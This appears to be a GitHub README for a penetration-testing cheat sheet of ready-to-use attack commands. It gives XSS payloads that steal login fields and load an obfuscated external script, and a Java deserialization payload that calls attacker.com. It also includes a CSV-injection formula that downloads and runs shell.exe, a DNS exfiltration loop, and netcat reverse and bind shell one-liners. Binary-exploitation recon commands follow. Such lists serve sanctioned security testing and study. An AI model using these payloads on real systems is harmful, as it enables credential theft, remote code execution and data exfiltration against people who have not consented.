ykankaya/PentestCommands

Some Handy Command For Network/Web Pentest

★ 0Forks 0GitHub ↗Compare

README

Pentest Commands

Web Exploitation

  1. XSS Payloads for script context to exfiltrate data
  • Steal password with Ajax jquery
  $.get("https://localhost/"+document.getElementsByName('username')[2].value+document.getElementsByName('password')[3].value,0);
  • Include external JS script in script context with Ajax jquery

Mainly useful when payload size is very restrictive

  $.getScript(String.fromCharCode(104,116,116,112,58,47,47,120,115,115,47,116,46,106,115),1)
  1. Blind Java Deserialization Payloads
java -jar ysoserial.jar CommonsCollections1 'sh -c $@|sh . echo ping $(whoami).<attacker.com>' | base64 | tr -d "\n"
  1. CSV Injection Out of band Exploitation Payloads
=cmd|' /C powershell Invoke-WebRequest "https://attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Network

DNS Exfiltration

  1. On Victim machine Linux
 for i in `ls`; do host $i.domain.com domain.com;done
  1. On Attacker's machine
tcpdump -vvv -s 0 -l -n dst host domain.com and dst port 53 -w dump
  1. To view data only for saved packet dump
tcpdump -r dump|cut -d"?" -f2|awk 'split($0,a,".domain"){print a[1]}'|sort -u

Reverse and Bind shells

  1. Reverse shell With Traditional Netcat [Without -e flag]
/usr/bin/mknod /tmp/bp p;/bin/nc <attacker_ip> 1337 0</tmp/bp | /bin/sh 1>/tmp/bp
 /usr/bin/mkfifo /tmp/mf;/bin/nc <attacker_ip> 1337 < /tmp/mf | /bin/sh &>/tmp/mf
  1. Bind shell with Traditional Netcat [Without -e flag]
/usr/bin/mkfifo /tmp/bmf;nc -lk 1337 0< /tmp/bmf | /bin/sh &>/tmp/bmf

Python Debugging Server

  1. HTTPS Server
# this is taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:4443

import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('localhost', 4443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
  1. SMTP Server
python -m smtpd -n -c DebuggingServer localhost:25

Binary Exploitation

Linux

  1. Find the offset of /bin/sh in libc
strings -a -t x /lib/libc-2.11.2.so |grep "/bin/sh"
  1. Find ROP gadgets
objdump -d -M intel ./<binary.elf>|grep -B5 "ret"
  1. Find if stack is execuatble and writable memory locations
readelf -lS ./<binary.elf>
  1. Find memory address of Global offset table
objdump -R ./binary.elf
  1. Get Entry point of ELF file
readelf -h ./binary.elf
  1. Get file headers, section headers and program headers
readelf -e ./binary.elf

MISC

Important Links

Windows One liners to download and execute payload

Contributors

sahildhar

Issues